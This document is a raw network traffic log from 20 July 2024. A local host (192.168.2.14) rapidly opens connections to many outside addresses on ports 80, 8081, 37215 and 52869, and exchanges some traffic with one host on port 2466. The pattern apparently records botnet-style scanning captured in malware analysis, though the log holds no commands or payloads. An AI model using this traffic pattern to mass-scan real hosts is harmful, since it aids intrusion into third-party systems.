Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.27.52.190
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.134.240.186
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.247.121.133
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.88.222.189
Jul 20, 2024 23:01:04.991005898 CEST	36598	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:04.991005898 CEST	36598	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:04.991302013 CEST	80	51189	88.130.225.111	192.168.2.14
Jul 20, 2024 23:01:04.991364002 CEST	80	51189	88.152.98.34	192.168.2.14
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.100.131.89
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.119.30.34
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.255.92.5
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.34.255.117
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.113.255.240
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.236.188.90
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.241.42.58
Jul 20, 2024 23:01:04.991688013 CEST	51189	80	192.168.2.14	88.42.221.244
Jul 20, 2024 23:01:04.991956949 CEST	80	51189	88.177.172.115	192.168.2.14
Jul 20, 2024 23:01:04.991986990 CEST	80	51189	88.171.237.212	192.168.2.14
Jul 20, 2024 23:01:04.992135048 CEST	80	51189	88.103.167.76	192.168.2.14
Jul 20, 2024 23:01:04.992160082 CEST	80	51189	88.105.200.3	192.168.2.14
Jul 20, 2024 23:01:04.992505074 CEST	35786	37215	192.168.2.14	41.204.105.129
Jul 20, 2024 23:01:04.992652893 CEST	80	51189	88.123.7.85	192.168.2.14
Jul 20, 2024 23:01:04.992665052 CEST	80	51189	88.145.13.223	192.168.2.14
Jul 20, 2024 23:01:04.992958069 CEST	47722	37215	192.168.2.14	157.193.7.72
Jul 20, 2024 23:01:04.992959023 CEST	35782	52869	192.168.2.14	40.156.155.77
Jul 20, 2024 23:01:04.992959023 CEST	43132	8081	192.168.2.14	218.97.122.254
Jul 20, 2024 23:01:04.992959023 CEST	47060	52869	192.168.2.14	98.212.47.174
Jul 20, 2024 23:01:04.993029118 CEST	80	51189	88.132.234.53	192.168.2.14
Jul 20, 2024 23:01:04.993218899 CEST	80	51189	88.116.235.99	192.168.2.14
Jul 20, 2024 23:01:04.993278980 CEST	80	34708	88.186.184.22	192.168.2.14
Jul 20, 2024 23:01:04.993315935 CEST	80	51189	88.17.233.32	192.168.2.14
Jul 20, 2024 23:01:04.993328094 CEST	37215	39332	96.50.39.180	192.168.2.14
Jul 20, 2024 23:01:04.993367910 CEST	80	51189	88.81.24.52	192.168.2.14
Jul 20, 2024 23:01:04.993551970 CEST	39332	37215	192.168.2.14	96.50.39.180
Jul 20, 2024 23:01:04.993702888 CEST	51189	80	192.168.2.14	88.14.47.196
Jul 20, 2024 23:01:04.993702888 CEST	51189	80	192.168.2.14	88.228.186.165
Jul 20, 2024 23:01:04.993704081 CEST	51189	80	192.168.2.14	88.37.125.27
Jul 20, 2024 23:01:04.993704081 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:04.993704081 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:04.994146109 CEST	60856	37215	192.168.2.14	80.185.13.173
Jul 20, 2024 23:01:04.994187117 CEST	42512	52869	192.168.2.14	130.190.186.142
Jul 20, 2024 23:01:04.994590998 CEST	80	51189	88.114.82.187	192.168.2.14
Jul 20, 2024 23:01:04.994616032 CEST	8081	34484	194.114.174.13	192.168.2.14
Jul 20, 2024 23:01:04.994640112 CEST	80	51189	88.94.24.255	192.168.2.14
Jul 20, 2024 23:01:04.994652033 CEST	80	51189	88.77.238.199	192.168.2.14
Jul 20, 2024 23:01:04.994676113 CEST	80	51189	88.82.134.169	192.168.2.14
Jul 20, 2024 23:01:04.994709969 CEST	51189	80	192.168.2.14	88.229.114.211
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.120.69.242
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.7.186.123
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.41.148.222
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.3.53.52
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.250.69.220
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.194.44.79
Jul 20, 2024 23:01:04.994710922 CEST	51189	80	192.168.2.14	88.234.6.255
Jul 20, 2024 23:01:04.995048046 CEST	80	51189	88.192.38.168	192.168.2.14
Jul 20, 2024 23:01:04.995085001 CEST	80	51189	88.224.207.234	192.168.2.14
Jul 20, 2024 23:01:04.995126009 CEST	80	51189	88.149.55.93	192.168.2.14
Jul 20, 2024 23:01:04.995253086 CEST	80	51189	88.5.27.208	192.168.2.14
Jul 20, 2024 23:01:04.995479107 CEST	41588	37215	192.168.2.14	197.150.84.25
Jul 20, 2024 23:01:04.995479107 CEST	39058	52869	192.168.2.14	173.171.125.50
Jul 20, 2024 23:01:04.995479107 CEST	46642	52869	192.168.2.14	87.85.193.52
Jul 20, 2024 23:01:04.995479107 CEST	51189	80	192.168.2.14	88.54.156.208
Jul 20, 2024 23:01:04.995480061 CEST	51189	80	192.168.2.14	88.218.132.111
Jul 20, 2024 23:01:04.995625019 CEST	80	51189	88.219.17.90	192.168.2.14
Jul 20, 2024 23:01:04.995704889 CEST	80	51189	88.241.216.107	192.168.2.14
Jul 20, 2024 23:01:04.995731115 CEST	51189	80	192.168.2.14	88.89.15.10
Jul 20, 2024 23:01:04.995731115 CEST	51189	80	192.168.2.14	88.134.30.117
Jul 20, 2024 23:01:04.995731115 CEST	51189	80	192.168.2.14	88.147.193.25
Jul 20, 2024 23:01:04.995731115 CEST	37494	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:04.995847940 CEST	80	51189	88.26.45.88	192.168.2.14
Jul 20, 2024 23:01:04.995876074 CEST	80	51189	88.49.70.138	192.168.2.14
Jul 20, 2024 23:01:04.996166945 CEST	57382	37215	192.168.2.14	41.171.220.22
Jul 20, 2024 23:01:04.996238947 CEST	80	51189	88.70.99.27	192.168.2.14
Jul 20, 2024 23:01:04.996251106 CEST	80	51189	88.36.102.8	192.168.2.14
Jul 20, 2024 23:01:04.996251106 CEST	50242	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:04.996329069 CEST	80	36598	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:04.996341944 CEST	80	51189	88.84.12.189	192.168.2.14
Jul 20, 2024 23:01:04.996493101 CEST	8081	47376	142.34.199.184	192.168.2.14
Jul 20, 2024 23:01:04.996598959 CEST	80	36698	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:04.996622086 CEST	80	36598	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:04.997242928 CEST	47376	8081	192.168.2.14	142.34.199.184
Jul 20, 2024 23:01:04.997242928 CEST	36698	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:04.997287989 CEST	80	51189	88.16.255.66	192.168.2.14
Jul 20, 2024 23:01:04.997301102 CEST	80	51189	88.26.83.90	192.168.2.14
Jul 20, 2024 23:01:04.997324944 CEST	80	51189	88.100.131.89	192.168.2.14
Jul 20, 2024 23:01:04.997337103 CEST	80	51189	88.64.163.237	192.168.2.14
Jul 20, 2024 23:01:04.997471094 CEST	40524	8081	192.168.2.14	180.41.228.30
Jul 20, 2024 23:01:04.997471094 CEST	34484	8081	192.168.2.14	194.114.174.13
Jul 20, 2024 23:01:04.997540951 CEST	80	51189	88.27.52.190	192.168.2.14
Jul 20, 2024 23:01:04.997555017 CEST	80	51189	88.44.105.131	192.168.2.14
Jul 20, 2024 23:01:04.997566938 CEST	80	51189	88.119.30.34	192.168.2.14
Jul 20, 2024 23:01:04.997639894 CEST	80	51189	88.134.240.186	192.168.2.14
Jul 20, 2024 23:01:04.997653008 CEST	80	51189	88.255.92.5	192.168.2.14
Jul 20, 2024 23:01:04.997821093 CEST	51189	80	192.168.2.14	88.130.225.111
Jul 20, 2024 23:01:04.997821093 CEST	51189	80	192.168.2.14	88.152.98.34
Jul 20, 2024 23:01:04.997822046 CEST	51189	80	192.168.2.14	88.177.172.115
Jul 20, 2024 23:01:04.997822046 CEST	51189	80	192.168.2.14	88.171.237.212
Jul 20, 2024 23:01:04.997822046 CEST	51189	80	192.168.2.14	88.103.167.76
Jul 20, 2024 23:01:04.997822046 CEST	51189	80	192.168.2.14	88.105.200.3
Jul 20, 2024 23:01:04.997847080 CEST	37215	35786	41.204.105.129	192.168.2.14
Jul 20, 2024 23:01:04.997876883 CEST	35786	37215	192.168.2.14	41.204.105.129
Jul 20, 2024 23:01:04.998003960 CEST	52869	47792	211.247.22.129	192.168.2.14
Jul 20, 2024 23:01:04.998094082 CEST	80	51189	88.34.255.117	192.168.2.14
Jul 20, 2024 23:01:04.998289108 CEST	80	51189	88.247.121.133	192.168.2.14
Jul 20, 2024 23:01:04.998526096 CEST	80	51189	88.113.255.240	192.168.2.14
Jul 20, 2024 23:01:04.998671055 CEST	80	51189	88.88.222.189	192.168.2.14
Jul 20, 2024 23:01:04.998703957 CEST	36720	52869	192.168.2.14	8.188.8.56
Jul 20, 2024 23:01:04.998703957 CEST	51189	80	192.168.2.14	88.16.255.66
Jul 20, 2024 23:01:04.999044895 CEST	80	51189	88.236.188.90	192.168.2.14
Jul 20, 2024 23:01:04.999712944 CEST	80	51189	88.14.47.196	192.168.2.14
Jul 20, 2024 23:01:04.999819040 CEST	80	51189	88.228.186.165	192.168.2.14
Jul 20, 2024 23:01:04.999876022 CEST	80	51189	88.37.125.27	192.168.2.14
Jul 20, 2024 23:01:04.999888897 CEST	80	51189	88.241.42.58	192.168.2.14
Jul 20, 2024 23:01:04.999928951 CEST	80	35804	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:05.000101089 CEST	47988	52869	192.168.2.14	165.198.120.17
Jul 20, 2024 23:01:05.000107050 CEST	51189	80	192.168.2.14	88.123.7.85
Jul 20, 2024 23:01:05.000108004 CEST	51189	80	192.168.2.14	88.145.13.223
Jul 20, 2024 23:01:05.000108004 CEST	51189	80	192.168.2.14	88.132.234.53
Jul 20, 2024 23:01:05.000108004 CEST	51189	80	192.168.2.14	88.116.235.99
Jul 20, 2024 23:01:05.000108004 CEST	51189	80	192.168.2.14	88.17.233.32
Jul 20, 2024 23:01:05.000108004 CEST	51189	80	192.168.2.14	88.81.24.52
Jul 20, 2024 23:01:05.000403881 CEST	51638	37215	192.168.2.14	41.233.133.241
Jul 20, 2024 23:01:05.000502110 CEST	34708	80	192.168.2.14	88.186.184.22
Jul 20, 2024 23:01:05.000502110 CEST	51189	80	192.168.2.14	88.77.238.199
Jul 20, 2024 23:01:05.000502110 CEST	51189	80	192.168.2.14	88.192.38.168
Jul 20, 2024 23:01:05.000502110 CEST	51189	80	192.168.2.14	88.224.207.234
Jul 20, 2024 23:01:05.000502110 CEST	51189	80	192.168.2.14	88.149.55.93
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.100.131.89
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.119.30.34
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.255.92.5
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.34.255.117
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.113.255.240
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.236.188.90
Jul 20, 2024 23:01:05.001461983 CEST	51189	80	192.168.2.14	88.241.42.58
Jul 20, 2024 23:01:05.001527071 CEST	80	51189	88.42.221.244	192.168.2.14
Jul 20, 2024 23:01:05.001538992 CEST	80	35804	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:05.001744986 CEST	49344	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:05.001744986 CEST	49344	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.114.82.187
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.94.24.255
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.82.134.169
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.5.27.208
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.219.17.90
Jul 20, 2024 23:01:05.001745939 CEST	51189	80	192.168.2.14	88.26.45.88
Jul 20, 2024 23:01:05.002003908 CEST	80	51189	88.229.114.211	192.168.2.14
Jul 20, 2024 23:01:05.002017021 CEST	80	51189	88.120.69.242	192.168.2.14
Jul 20, 2024 23:01:05.002227068 CEST	80	51189	88.7.186.123	192.168.2.14
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.241.216.107
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.49.70.138
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.36.102.8
Jul 20, 2024 23:01:05.002234936 CEST	45784	8081	192.168.2.14	81.252.75.32
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.26.83.90
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.64.163.237
Jul 20, 2024 23:01:05.002234936 CEST	51189	80	192.168.2.14	88.27.52.190
Jul 20, 2024 23:01:05.002252102 CEST	52869	42512	130.190.186.142	192.168.2.14
Jul 20, 2024 23:01:05.002288103 CEST	80	51189	88.41.148.222	192.168.2.14
Jul 20, 2024 23:01:05.002300978 CEST	80	51189	88.3.53.52	192.168.2.14
Jul 20, 2024 23:01:05.002326012 CEST	80	51189	88.250.69.220	192.168.2.14
Jul 20, 2024 23:01:05.002352953 CEST	80	51189	88.194.44.79	192.168.2.14
Jul 20, 2024 23:01:05.002389908 CEST	80	51189	88.234.6.255	192.168.2.14
Jul 20, 2024 23:01:05.002417088 CEST	45880	8081	192.168.2.14	171.33.48.226
Jul 20, 2024 23:01:05.002475023 CEST	51189	80	192.168.2.14	88.70.99.27
Jul 20, 2024 23:01:05.002475023 CEST	51189	80	192.168.2.14	88.84.12.189
Jul 20, 2024 23:01:05.002475977 CEST	51189	80	192.168.2.14	88.44.105.131
Jul 20, 2024 23:01:05.002475977 CEST	47792	52869	192.168.2.14	211.247.22.129
Jul 20, 2024 23:01:05.002475977 CEST	48030	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:05.003053904 CEST	32806	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:05.003053904 CEST	32806	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:05.003304005 CEST	42512	52869	192.168.2.14	130.190.186.142
Jul 20, 2024 23:01:05.003807068 CEST	51189	80	192.168.2.14	88.42.221.244
Jul 20, 2024 23:01:05.003807068 CEST	51189	80	192.168.2.14	88.229.114.211
Jul 20, 2024 23:01:05.003807068 CEST	51189	80	192.168.2.14	88.120.69.242
Jul 20, 2024 23:01:05.003807068 CEST	51189	80	192.168.2.14	88.7.186.123
Jul 20, 2024 23:01:05.003807068 CEST	51189	80	192.168.2.14	88.41.148.222
Jul 20, 2024 23:01:05.003808022 CEST	51189	80	192.168.2.14	88.3.53.52
Jul 20, 2024 23:01:05.003808022 CEST	51189	80	192.168.2.14	88.250.69.220
Jul 20, 2024 23:01:05.003808022 CEST	51189	80	192.168.2.14	88.194.44.79
Jul 20, 2024 23:01:05.004365921 CEST	37215	39332	96.50.39.180	192.168.2.14
Jul 20, 2024 23:01:05.004367113 CEST	51189	80	192.168.2.14	88.134.240.186
Jul 20, 2024 23:01:05.004367113 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:05.004367113 CEST	51189	80	192.168.2.14	88.247.121.133
Jul 20, 2024 23:01:05.004367113 CEST	51189	80	192.168.2.14	88.88.222.189
Jul 20, 2024 23:01:05.004367113 CEST	47134	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:05.004367113 CEST	47134	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:05.004367113 CEST	51189	80	192.168.2.14	88.14.47.196
Jul 20, 2024 23:01:05.004367113 CEST	51189	80	192.168.2.14	88.228.186.165
Jul 20, 2024 23:01:05.004391909 CEST	80	51189	88.89.15.10	192.168.2.14
Jul 20, 2024 23:01:05.004404068 CEST	80	51189	88.134.30.117	192.168.2.14
Jul 20, 2024 23:01:05.004442930 CEST	80	51189	88.147.193.25	192.168.2.14
Jul 20, 2024 23:01:05.004467964 CEST	37215	57382	41.171.220.22	192.168.2.14
Jul 20, 2024 23:01:05.004478931 CEST	80	50242	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:05.004498005 CEST	57382	37215	192.168.2.14	41.171.220.22
Jul 20, 2024 23:01:05.004709005 CEST	50242	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:05.004818916 CEST	80	37494	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:05.005208969 CEST	8081	40524	180.41.228.30	192.168.2.14
Jul 20, 2024 23:01:05.005470037 CEST	51189	80	192.168.2.14	88.234.6.255
Jul 20, 2024 23:01:05.005470037 CEST	51189	80	192.168.2.14	88.89.15.10
Jul 20, 2024 23:01:05.005470037 CEST	51189	80	192.168.2.14	88.134.30.117
Jul 20, 2024 23:01:05.005470037 CEST	51189	80	192.168.2.14	88.147.193.25
Jul 20, 2024 23:01:05.005470037 CEST	37494	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:05.005470037 CEST	40524	8081	192.168.2.14	180.41.228.30
Jul 20, 2024 23:01:05.005470991 CEST	33704	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:05.005672932 CEST	52869	35782	40.156.155.77	192.168.2.14
Jul 20, 2024 23:01:05.005683899 CEST	56402	52869	192.168.2.14	102.223.154.160
Jul 20, 2024 23:01:05.005728960 CEST	51189	80	192.168.2.14	88.37.125.27
Jul 20, 2024 23:01:05.006069899 CEST	52869	36720	8.188.8.56	192.168.2.14
Jul 20, 2024 23:01:05.006364107 CEST	52869	47988	165.198.120.17	192.168.2.14
Jul 20, 2024 23:01:05.006407976 CEST	39332	37215	192.168.2.14	96.50.39.180
Jul 20, 2024 23:01:05.006412983 CEST	37215	51638	41.233.133.241	192.168.2.14
Jul 20, 2024 23:01:05.006416082 CEST	35782	52869	192.168.2.14	40.156.155.77
Jul 20, 2024 23:01:05.006448984 CEST	51638	37215	192.168.2.14	41.233.133.241
Jul 20, 2024 23:01:05.006699085 CEST	36720	52869	192.168.2.14	8.188.8.56
Jul 20, 2024 23:01:05.006836891 CEST	80	49344	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:05.006958008 CEST	47988	52869	192.168.2.14	165.198.120.17
Jul 20, 2024 23:01:05.007103920 CEST	57074	8081	192.168.2.14	80.117.177.10
Jul 20, 2024 23:01:05.007266045 CEST	80	49344	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:05.007531881 CEST	41160	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:05.007531881 CEST	41160	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:05.007556915 CEST	38678	37215	192.168.2.14	197.147.15.112
Jul 20, 2024 23:01:05.008418083 CEST	8081	45880	171.33.48.226	192.168.2.14
Jul 20, 2024 23:01:05.008447886 CEST	45880	8081	192.168.2.14	171.33.48.226
Jul 20, 2024 23:01:05.008460045 CEST	80	32806	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:05.008898973 CEST	80	48030	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:05.009469032 CEST	48030	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:05.010163069 CEST	80	32806	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:05.010174990 CEST	8081	45784	81.252.75.32	192.168.2.14
Jul 20, 2024 23:01:05.010401964 CEST	42060	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:05.010850906 CEST	45784	8081	192.168.2.14	81.252.75.32
Jul 20, 2024 23:01:05.011111021 CEST	8081	43132	218.97.122.254	192.168.2.14
Jul 20, 2024 23:01:05.011198044 CEST	52869	47060	98.212.47.174	192.168.2.14
Jul 20, 2024 23:01:05.011223078 CEST	47928	52869	192.168.2.14	196.159.190.117
Jul 20, 2024 23:01:05.011734009 CEST	48024	37215	192.168.2.14	48.200.124.66
Jul 20, 2024 23:01:05.011893034 CEST	37215	41588	197.150.84.25	192.168.2.14
Jul 20, 2024 23:01:05.011904955 CEST	52869	39058	173.171.125.50	192.168.2.14
Jul 20, 2024 23:01:05.011917114 CEST	52869	46642	87.85.193.52	192.168.2.14
Jul 20, 2024 23:01:05.012592077 CEST	58340	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:05.012592077 CEST	58340	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:05.013133049 CEST	57982	8081	192.168.2.14	179.106.246.126
Jul 20, 2024 23:01:05.014458895 CEST	46642	52869	192.168.2.14	87.85.193.52
Jul 20, 2024 23:01:05.014458895 CEST	39058	52869	192.168.2.14	173.171.125.50
Jul 20, 2024 23:01:05.014458895 CEST	41588	37215	192.168.2.14	197.150.84.25
Jul 20, 2024 23:01:05.016000986 CEST	80	35804	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:05.016025066 CEST	80	47134	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:05.016036034 CEST	80	47134	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:05.016071081 CEST	52869	56402	102.223.154.160	192.168.2.14
Jul 20, 2024 23:01:05.016581059 CEST	80	33704	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:05.016593933 CEST	8081	57074	80.117.177.10	192.168.2.14
Jul 20, 2024 23:01:05.016606092 CEST	80	41160	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:05.016617060 CEST	80	41160	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:05.016715050 CEST	37215	38678	197.147.15.112	192.168.2.14
Jul 20, 2024 23:01:05.016737938 CEST	80	42060	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:05.017617941 CEST	8081	47376	142.34.199.184	192.168.2.14
Jul 20, 2024 23:01:05.018429995 CEST	52869	47928	196.159.190.117	192.168.2.14
Jul 20, 2024 23:01:05.018465042 CEST	37215	48024	48.200.124.66	192.168.2.14
Jul 20, 2024 23:01:05.018523932 CEST	80	58340	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:05.018534899 CEST	80	58340	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:05.019213915 CEST	8081	57982	179.106.246.126	192.168.2.14
Jul 20, 2024 23:01:05.019804955 CEST	47060	52869	192.168.2.14	98.212.47.174
Jul 20, 2024 23:01:05.019805908 CEST	43132	8081	192.168.2.14	218.97.122.254
Jul 20, 2024 23:01:05.020880938 CEST	80	36698	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:05.024735928 CEST	57074	8081	192.168.2.14	80.117.177.10
Jul 20, 2024 23:01:05.024735928 CEST	57982	8081	192.168.2.14	179.106.246.126
Jul 20, 2024 23:01:05.025057077 CEST	38678	37215	192.168.2.14	197.147.15.112
Jul 20, 2024 23:01:05.032135963 CEST	56402	52869	192.168.2.14	102.223.154.160
Jul 20, 2024 23:01:05.032135963 CEST	47376	8081	192.168.2.14	142.34.199.184
Jul 20, 2024 23:01:05.032135963 CEST	47928	52869	192.168.2.14	196.159.190.117
Jul 20, 2024 23:01:05.033716917 CEST	37215	35786	41.204.105.129	192.168.2.14
Jul 20, 2024 23:01:05.036602974 CEST	36698	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:05.036602974 CEST	35786	37215	192.168.2.14	41.204.105.129
Jul 20, 2024 23:01:05.037374020 CEST	59242	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:05.037374020 CEST	35034	52869	192.168.2.14	177.232.37.130
Jul 20, 2024 23:01:05.037414074 CEST	33704	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:05.039475918 CEST	42060	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:05.039475918 CEST	39680	37215	192.168.2.14	157.102.88.79
Jul 20, 2024 23:01:05.040877104 CEST	8081	34484	194.114.174.13	192.168.2.14
Jul 20, 2024 23:01:05.045452118 CEST	80	34708	88.186.184.22	192.168.2.14
Jul 20, 2024 23:01:05.048276901 CEST	80	59242	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:05.048295975 CEST	52869	35034	177.232.37.130	192.168.2.14
Jul 20, 2024 23:01:05.049273968 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.049273968 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.049273968 CEST	53730	8081	192.168.2.14	51.144.222.200
Jul 20, 2024 23:01:05.049273968 CEST	58402	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.049336910 CEST	48024	37215	192.168.2.14	48.200.124.66
Jul 20, 2024 23:01:05.050530910 CEST	52869	47792	211.247.22.129	192.168.2.14
Jul 20, 2024 23:01:05.050653934 CEST	2466	38412	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:05.051362038 CEST	37215	39680	157.102.88.79	192.168.2.14
Jul 20, 2024 23:01:05.053950071 CEST	52869	42512	130.190.186.142	192.168.2.14
Jul 20, 2024 23:01:05.054382086 CEST	80	50242	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:05.054517984 CEST	80	57498	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:05.054867983 CEST	80	57498	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:05.056068897 CEST	37215	57382	41.171.220.22	192.168.2.14
Jul 20, 2024 23:01:05.056260109 CEST	8081	53730	51.144.222.200	192.168.2.14
Jul 20, 2024 23:01:05.056272984 CEST	80	58402	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:05.060384989 CEST	8081	40524	180.41.228.30	192.168.2.14
Jul 20, 2024 23:01:05.061252117 CEST	37215	51638	41.233.133.241	192.168.2.14
Jul 20, 2024 23:01:05.062071085 CEST	52869	47988	165.198.120.17	192.168.2.14
Jul 20, 2024 23:01:05.062216997 CEST	52869	36720	8.188.8.56	192.168.2.14
Jul 20, 2024 23:01:05.063271999 CEST	8081	45880	171.33.48.226	192.168.2.14
Jul 20, 2024 23:01:05.063857079 CEST	34708	80	192.168.2.14	88.186.184.22
Jul 20, 2024 23:01:05.063857079 CEST	59242	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:05.063857079 CEST	35034	52869	192.168.2.14	177.232.37.130
Jul 20, 2024 23:01:05.064460993 CEST	80	48030	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:05.066454887 CEST	8081	45784	81.252.75.32	192.168.2.14
Jul 20, 2024 23:01:05.067836046 CEST	8081	57074	80.117.177.10	192.168.2.14
Jul 20, 2024 23:01:05.069866896 CEST	8081	57982	179.106.246.126	192.168.2.14
Jul 20, 2024 23:01:05.070919037 CEST	52869	56402	102.223.154.160	192.168.2.14
Jul 20, 2024 23:01:05.071053028 CEST	52869	47928	196.159.190.117	192.168.2.14
Jul 20, 2024 23:01:05.071793079 CEST	37215	38678	197.147.15.112	192.168.2.14
Jul 20, 2024 23:01:05.072535992 CEST	80	33704	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:05.073160887 CEST	80	42060	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:05.077584982 CEST	39680	37215	192.168.2.14	157.102.88.79
Jul 20, 2024 23:01:05.079416037 CEST	37215	48024	48.200.124.66	192.168.2.14
Jul 20, 2024 23:01:05.079428911 CEST	80	59242	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:05.079440117 CEST	52869	35034	177.232.37.130	192.168.2.14
Jul 20, 2024 23:01:05.081017971 CEST	34484	8081	192.168.2.14	194.114.174.13
Jul 20, 2024 23:01:05.084559917 CEST	47792	52869	192.168.2.14	211.247.22.129
Jul 20, 2024 23:01:05.086806059 CEST	51638	37215	192.168.2.14	41.233.133.241
Jul 20, 2024 23:01:05.088637114 CEST	50242	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:05.090388060 CEST	45784	8081	192.168.2.14	81.252.75.32
Jul 20, 2024 23:01:05.090388060 CEST	38678	37215	192.168.2.14	197.147.15.112
Jul 20, 2024 23:01:05.090388060 CEST	59242	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:05.090388060 CEST	35034	52869	192.168.2.14	177.232.37.130
Jul 20, 2024 23:01:05.091286898 CEST	37215	39680	157.102.88.79	192.168.2.14
Jul 20, 2024 23:01:05.091504097 CEST	48030	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:05.097774982 CEST	38412	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:05.097774982 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.097775936 CEST	53730	8081	192.168.2.14	51.144.222.200
Jul 20, 2024 23:01:05.097775936 CEST	58402	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:05.097775936 CEST	57382	37215	192.168.2.14	41.171.220.22
Jul 20, 2024 23:01:05.098902941 CEST	40524	8081	192.168.2.14	180.41.228.30
